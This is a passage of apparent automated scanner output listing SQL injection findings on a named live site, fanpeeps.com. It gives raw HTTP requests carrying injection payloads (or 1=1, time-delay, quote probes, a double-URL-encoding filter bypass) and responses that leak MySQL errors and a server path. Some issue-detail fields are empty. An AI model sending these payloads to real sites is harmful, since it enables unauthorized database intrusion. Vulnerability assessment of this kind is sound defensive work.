Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17577

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
</b>: Invalid argument supplied for foreach() in <b>
...[SNIP]...

Request 2

GET /media''/ HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 2

1.44. http://fanpeeps.com/media/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/media/

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload '%20and%201%3d1--%20 was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /media'%20and%201%3d1--%20/?pid= HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:47:37 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17916

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.45. http://fanpeeps.com/media/ [Referer HTTP header] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/media/

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the Referer HTTP header as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /media/ HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;
Referer: http://www.google.com/search?hl=en&q=%2527

Response 1

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:46:27 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17435

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:46:29 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.46. http://fanpeeps.com/media/ [User-Agent HTTP header] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/media/

Issue detail

The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. The payload ',0)waitfor%20delay'0%3a0%3a20'-- was submitted in the User-Agent HTTP header, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /media/ HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',0)waitfor%20delay'0%3a0%3a20'--
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:46:26 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17397

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.47. http://fanpeeps.com/media/ [__utma cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/media/

Issue detail

The __utma cookie appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the __utma cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /media/ HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2'waitfor%20delay'0%3a0%3a20'--; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:44:16 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17953

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.48. http://fanpeeps.com/media/ [__utmc cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/media/

Issue detail

The __utmc cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmc cookie, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the __utmc cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

Response 1

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:44:31 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17354

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:44:32 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 53253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.49. http://fanpeeps.com/media/ [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/media/

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /media/?pid= HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)'; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:47:40 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17390

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.50. http://fanpeeps.com/media/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/media/

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /media/?pid=&1'=1 HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 1

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:46:23 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17397

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

GET /media/?pid=&1''=1 HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 2

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:46:26 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.51. http://fanpeeps.com/media/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/media/

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload " was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /media/?1"=1 HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:46:16 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 18157

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.52. http://fanpeeps.com/media/ [pid parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/media/

Issue detail

The pid parameter appears to be vulnerable to SQL injection attacks. The payload 19058072'%20or%201%3d1--%20 was submitted in the pid parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /media/?pid=19058072'%20or%201%3d1--%20 HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:44:02 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17272

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.53. http://fanpeeps.com/mlb [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/mlb

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /mlb" HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:12 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17290

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.54. http://fanpeeps.com/ncaa [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/ncaa

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /ncaa',0)waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/?action=news&pid=19&iid=7
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305373774.1; __utmc=181893936

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:46:23 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 17433

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.55. http://fanpeeps.com/ncaa2.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/ncaa2.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload 14003792'%20or%201%3d1--%20 was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /ncaa2.php14003792'%20or%201%3d1--%20 HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:47:24 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 18087

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.56. http://fanpeeps.com/ncaa2.php [Referer HTTP header] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/ncaa2.php

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /ncaa2.php HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;
Referer: http://www.google.com/search?hl=en&q='

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:47:11 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17290

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.57. http://fanpeeps.com/ncaa2.php [User-Agent HTTP header] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/ncaa2.php

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /ncaa2.php HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 1

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:47:09 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17345

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

GET /ncaa2.php HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)''
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 2

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:47:10 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.58. http://fanpeeps.com/ncaa2.php [__utma cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/ncaa2.php

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /ncaa2.php HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2'waitfor%20delay'0%3a0%3a20'--; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:44:21 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17291

<br />
